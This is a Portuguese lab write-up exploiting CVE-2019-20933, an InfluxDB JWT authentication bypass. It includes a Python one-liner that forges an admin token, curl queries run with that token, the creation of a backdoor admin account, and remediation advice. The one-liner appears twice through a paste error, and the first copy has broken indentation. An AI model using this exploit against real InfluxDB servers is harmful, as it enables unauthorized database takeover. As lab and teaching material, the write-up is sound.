LAB 5-CVE-2019-20933

I. ANÁLISE DO SISTEMA

Identificando a Superfície de Ataque

Começando pelo que está em execução no ambiente. Listo todos os contêineres ativos:

docker ps

A vítima expõe uma única porta: 8086.

Atualmente, não tenho informações detalhadas sobre o alvo. A partir da saída do docker ps, o sistema expõe externamente apenas um serviço notável na porta 8086, que é mapeado para o serviço dentro do contêiner. Esta é a principal superfície de ataque a ser analisada.

Em vez de acessá-lo imediatamente pelo navegador, prosseguimos com a identificação do serviço usando o Nmap para determinar qual serviço está sendo executado na porta 8086:

nmap -sV -sC -p 8086 192.168.3.137

Os resultados da varredura mostram que a porta 8086 é o serviço HTTP do InfluxDB OSS 1.6.6. Este é um banco de dados de séries temporais exposto por meio de uma API HTTP, não um aplicativo web típico.

Análise de Raciocínio Pós-Identificação

InfluxDB é um banco de dados de séries temporais (TSDB) de código aberto escrito em Go. Diferente de RDBMS (otimizado para transações precisas) ou Elasticsearch (otimizado para busca de texto), o InfluxDB foi criado com um único propósito: Lidar com grandes volumes de escrita (alta taxa de gravação) e consultar dados ao longo do eixo do tempo com baixa latência.

Como o serviço foi identificado como InfluxDB, o próximo passo é consultar como o InfluxDB se comunica com os clientes. De acordo com a documentação da API HTTP do InfluxDB v1, a porta 8086 é a porta padrão da API HTTP. Os endpoints importantes incluem:

• /ping: verifica o status operacional do servidor.
• /query: envia consultas InfluxQL para ler metadados ou dados.
• /write: grava dados de séries temporais no banco de dados.

⇒ Raciocínio: Após o Nmap identificar o serviço como InfluxDB http admin 1.6.6, não continuamos testando-o como um site padrão. Para aplicativos web, normalmente procuramos rotas, formulários de login ou diretórios. No entanto, com InfluxDB, a superfície de ataque está dentro da API HTTP. Portanto, precisamos mudar para testar os endpoints padrão da API do InfluxDB para determinar se a API exige autenticação. Consequentemente, a próxima direção de teste não é acessar / pelo navegador, mas enviar requisições diretamente aos endpoints da API do InfluxDB.

Analisando o Comportamento da API e Identificando Alvos de Autenticação

Verificando o Endpoint /ping

Após identificar a porta 8086 como a API HTTP do InfluxDB, verifique o endpoint /ping para confirmar que o serviço está operacional:

curl -i <http://192.168.3.137:8086/ping>

Resposta 204 No Content confirma que InfluxDB está operando normalmente. Os cabeçalhos confirmam ainda a versão do serviço como InfluxDB OSS 1.6.6

Verificando Autenticação no Endpoint /query

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

O endpoint /query não permite consultas diretas sem credenciais de autenticação. Isso confirma que o InfluxDB tem a autenticação habilitada e bloqueia todas as consultas anônimas enviadas ao sistema.

Passo a pensar: o InfluxDB versão 1.6.6 possui alguma vulnerabilidade que permita contornar o mecanismo de autenticação?

Consultando bancos de dados públicos de vulnerabilidades, as versões do InfluxDB anteriores a 1.7.6 são afetadas pela CVE-2019-20933. Esta é uma vulnerabilidade de bypass de autenticação na função de autenticação do InfluxDB, relacionada ao tratamento de tokens JWT com um segredo compartilhado vazio.

Como o alvo está executando InfluxDB 1.6.6, que é inferior à versão corrigida 1.7.6, o serviço está dentro da faixa de versões afetadas.

Pode-se concluir:

Service: InfluxDB OSS
Version: 1.6.6
Authentication: Enabled
CVE mapping: CVE-2019-20933
Impact: Authentication Bypass
Status: Version vulnerable

⇒ Raciocínio: Inicialmente, o endpoint /query retorna 401 Unauthorized, indicando que o mecanismo de autenticação está ativo. No entanto, ter a autenticação habilitada não significa segurança absoluta. Quando a versão é identificada como 1.6.6, precisamos correlacioná-la com CVEs conhecidas. Os resultados indicam que essa versão está dentro da faixa afetada pela CVE-2019-20933, o que significa que é possível contornar o mecanismo de autenticação que protege o endpoint /query. Com base nesses resultados de identificação, a fase de exploração se concentrará em verificar a CVE-2019-20933 gerando um token JWT apropriado para contornar a autenticação e executar consultas no endpoint /query.

Análise do Mecanismo da Vulnerabilidade (CVE-2019-20933)

A vulnerabilidade CVE-2019-20933 ocorre na função authenticate dentro do arquivo services/httpd/handler.go do InfluxDB anterior à versão 1.7.6.

Mecanismo de Autenticação JWT no InfluxDB

InfluxDB suporta autenticação usando JSON Web Tokens (JWT) para requisições à API HTTP. Ao receber uma requisição com o cabeçalho:

Authorization: Bearer <token>

InfluxDB executará os seguintes passos:

1. Decodificar o token para extrair o Cabeçalho e o Payload.
2. Ler o valor de configuração shared-secret do arquivo influxdb.conf para atuar como chave secreta na verificação da assinatura do token.
3. Se a assinatura for válida, recuperar o campo username das claims para determinar o usuário que está executando a consulta.

A Falha

Nas versões afetadas, se a autenticação JWT estiver habilitada, mas o parâmetro shared-secret não estiver configurado, o valor do segredo pode ser processado como uma string vazia ("").

O sistema não valida adequadamente a força do segredo antes de verificar a assinatura do JWT. Isso permite que um atacante construa um JWT personalizado, assine-o com um segredo vazio e, em seguida, defina a claim username para uma conta válida no sistema, como admin, se essa conta existir no laboratório.

Quando esse token é enviado por meio do cabeçalho Authorization: Bearer <token>, o InfluxDB usa o mesmo segredo vazio para verificar a assinatura. Se a assinatura corresponder e o nome de usuário existir, a requisição será autorizada sem exigir a senha real do usuário.

O fluxo de processamento pode ser resumido da seguinte forma:

Fluxo de exploração no nível lógico:

InfluxDB < 1.7.6
→ authentication enabled
→ empty shared-secret
→ attacker creates JWT signed with secret ""
→ sends token via Authorization: Bearer
→ server accepts the token
→ query to /query succeeds

Resumo

Após entender o mecanismo da CVE, é necessário correlacioná-la com o alvo para evitar tirar conclusões apenas com base na versão.

Neste momento, CVE-2019-20933 é identificada como um candidato altamente adequado para o alvo. No entanto, para confirmar a exploração prática, devemos gerar um JWT assinado com um shared secret vazio e transmiti-lo ao endpoint /query.

Se o servidor aceitar esse token e permitir a execução da consulta, só então podemos concluir que a CVE foi explorada com sucesso.

II. EXPLORAÇÃO

Criando Manualmente um JWT Forjado

Com base na análise do mecanismo da vulnerabilidade acima, as condições para a exploração são:

1. Criar um JWT com um username válido no sistema.
2. Assinar esse token com uma chave secreta vazia ("").
3. Enviar o token por meio do cabeçalho Authorization: Bearer <token> para o endpoint /query.

Identificando a Estrutura do JWT a Ser Criada

Um JWT consiste em 3 partes separadas por pontos: Header.Payload.Signature

Cabeçalho

{"alg":"HS256","typ":"JWT"}

Payload

{"username":"admin","exp":2147483647}

• username: conta alvo. Neste laboratório, o InfluxDB cria um usuário admin padrão.
• exp: tempo de expiração do token, definido extremamente distante no futuro (ano de 2038) para evitar rejeição por expiração.

Assinatura

HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))

Gerando JWT via One-liner Python no Kali

No Kali, geramos o JWT completo com um único comando:

python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
    return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

Obtemos a string:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw

• b64url(): Converte um dict Python em uma string JSON e a codifica no formato Base64URL (removendo o preenchimento = conforme o padrão JWT).
• hmac.new(b'', ...): Assina a mensagem utilizando o algoritmo HMAC-SHA256 com uma chave vazia (b''). Este é o vetor de exploração — a chave vazia corresponde ao shared-secret não configurado no servidor.
• O resultado final é a string Header.Payload.Signature em conformidade com o padrão JWT RFC 7519.

Enviando o Token para o Endpoint /query para Verificar a CVE

Salve o token em uma variável de ambiente e envie uma consulta SHOW DATABASES:

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \

  -H "Authorization: Bearer $TOKEN"

Análise do Resultado:

• A resposta transita de 401 Unauthorized para 200 OK.
• O servidor retorna a lista real de bancos de dados presentes no sistema.
• Isso prova que o JWT assinado com um segredo vazio foi aceito pelo servidor, concedendo com sucesso permissões de consulta.

⇒ A CVE-2019-20933 é confirmada como explorada com sucesso no alvo. Com um JWT criado manualmente e assinado com uma chave em branco, contornamos completamente o mecanismo de autenticação e obtivemos acesso de consulta como admin.

III. PÓS-EXPLORAÇÃO

Após contornar a autenticação com sucesso, prosseguimos com uma pós-exploração mais aprofundada para coletar dados sensíveis dentro dos bancos de dados do sistema. A partir dos resultados do SHOW DATABASES, o sistema possui 2 bancos de dados: _internal (o banco de dados interno padrão de monitoramento do InfluxDB) e sample (o banco de dados operacional de negócios).

1. Listando Usuários no Sistema InfluxDB

curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
  -H "Authorization: Bearer $TOKEN"

O sistema contém apenas um único usuário: admin com privilégios administrativos (admin: true). Isso confirma que nosso JWT forjado conseguiu se passar pela única conta administrativa do sistema.

2. Listando Medições no Banco de Dados _internal

O banco de dados sample não contém nenhuma medição (está vazio). No entanto, o banco de dados _internal é o banco de dados interno de monitoramento do InfluxDB e sempre contém métricas do sistema:

curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
  -H "Authorization: Bearer $TOKEN"

O banco de dados _internal contém 12 medições internas de monitoramento: cq, database, httpd, queryExecutor, runtime, shard, subscriber, tsm1_cache, tsm1_engine, tsm1_filestore, tsm1_wal e write. Essas tabelas armazenam estatísticas operacionais detalhadas da instância do InfluxDB — incluindo logs de consultas HTTP, métricas de desempenho do banco de dados e o estado do mecanismo de armazenamento.

3. Criando um Novo Usuário Admin

Para demonstrar que o acesso admin contornado não se restringe a ações somente leitura, mas também concede acesso de escrita e administrativo, realizamos a criação de uma nova conta de usuário com privilégios totais de administrador:

curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
  -H "Authorization: Bearer $TOKEN"

A resposta retorna statement_id: 0 sem um campo error — confirmando que o comando CREATE USER foi executado com sucesso. O atacante agora pode fazer login diretamente usando as credenciais hacked / Dung com acesso total de administrador, sem precisar mais do token JWT forjado.

⇒ Isso serve como a prova mais contundente de que a vulnerabilidade CVE-2019-20933 não apenas permite a exposição de dados, mas também permite que um atacante assuma o controle total do sistema InfluxDB — incluindo provisionamento de usuários, destruição de bancos de dados e modificações na configuração do sistema.

Avaliação da Escalação de Privilégios e Impacto no Sistema

Diferente de vulnerabilidades de execução remota de código (RCE) que visam diretamente a camada do sistema operacional (como no Lab 3), a CVE-2019-20933 limita seu escopo de impacto à administração em nível de banco de dados. No entanto, a gravidade permanece criticamente alta devido a:

• Perda Total de Confidencialidade: Os atacantes podem extrair todos os dados sensíveis residentes no InfluxDB, incluindo metadados do sistema e configurações de ambiente do contêiner.
• Perda Total de Integridade: Os atacantes têm permissões totais para modificar, excluir ou injetar dados fraudulentos — como comprovado pela criação bem-sucedida do usuário hacked com privilégios administrativos totais.
• Persistência: Após provisionar a conta administrativa, o atacante pode estabelecer persistência, autenticando-se usando Basic Auth padrão sem depender do JWT forjado personalizado.
• Potencial para Movimentação Lateral: As informações coletadas (como nomes de host dos contêineres e arquitetura do banco de dados) podem ser usadas como armas para pivotar e atingir serviços adjacentes dentro da sub-rede Docker.

IV. AVALIAÇÃO DE RISCOS E RECOMENDAÇÕES DE REMEDIAÇÃO

Avaliação de Riscos

Recomendações de Remediação

Para remediar completamente essa vulnerabilidade crítica de segurança, os administradores de sistema devem implementar prontamente as seguintes contramedidas:

Medidas Imediatas (Curto Prazo):

1. Imponha uma Configuração Forte de Shared Secret Se a atualização não for viável imediatamente, edite o arquivo de configuração influxdb.conf para definir um shared secret longo, complexo e aleatório na seção [http]: Nota: Reinicie o serviço do InfluxDB após editar a configuração para que as alterações entrem em vigor.

   root@kitploit:~

   ini
   
   [http]
     enabled = true
     auth-enabled = true
     shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
   

2. Atualize a Instância do InfluxDB para uma Versão Corrigida Atualize imediatamente o InfluxDB para a versão 1.7.6 ou superior. Os desenvolvedores modificaram a rotina de autenticação nessas versões para rejeitar tokens JWT assinados com shared secrets vazios ou inseguros.

Medidas de Defesa em Profundidade (Longo Prazo):

1. Implemente Regras de Segmentação de Rede
   • Nunca exponha a porta 8086 da API à Internet pública.
   • Restrinja estritamente a comunicação com o InfluxDB a serviços internos autorizados (como Grafana, Telegraf ou aplicações Backend) usando políticas de firewall ou redes Docker isoladas.
2. Utilize o Protocolo HTTPS
   • Configure SSL/TLS para o endpoint da API do InfluxDB para garantir que todos os dados de telemetria transmitidos (incluindo os tokens JWT) sejam criptografados, eliminando o risco de coleta de tokens por interceptação Man-in-the-Middle (MitM).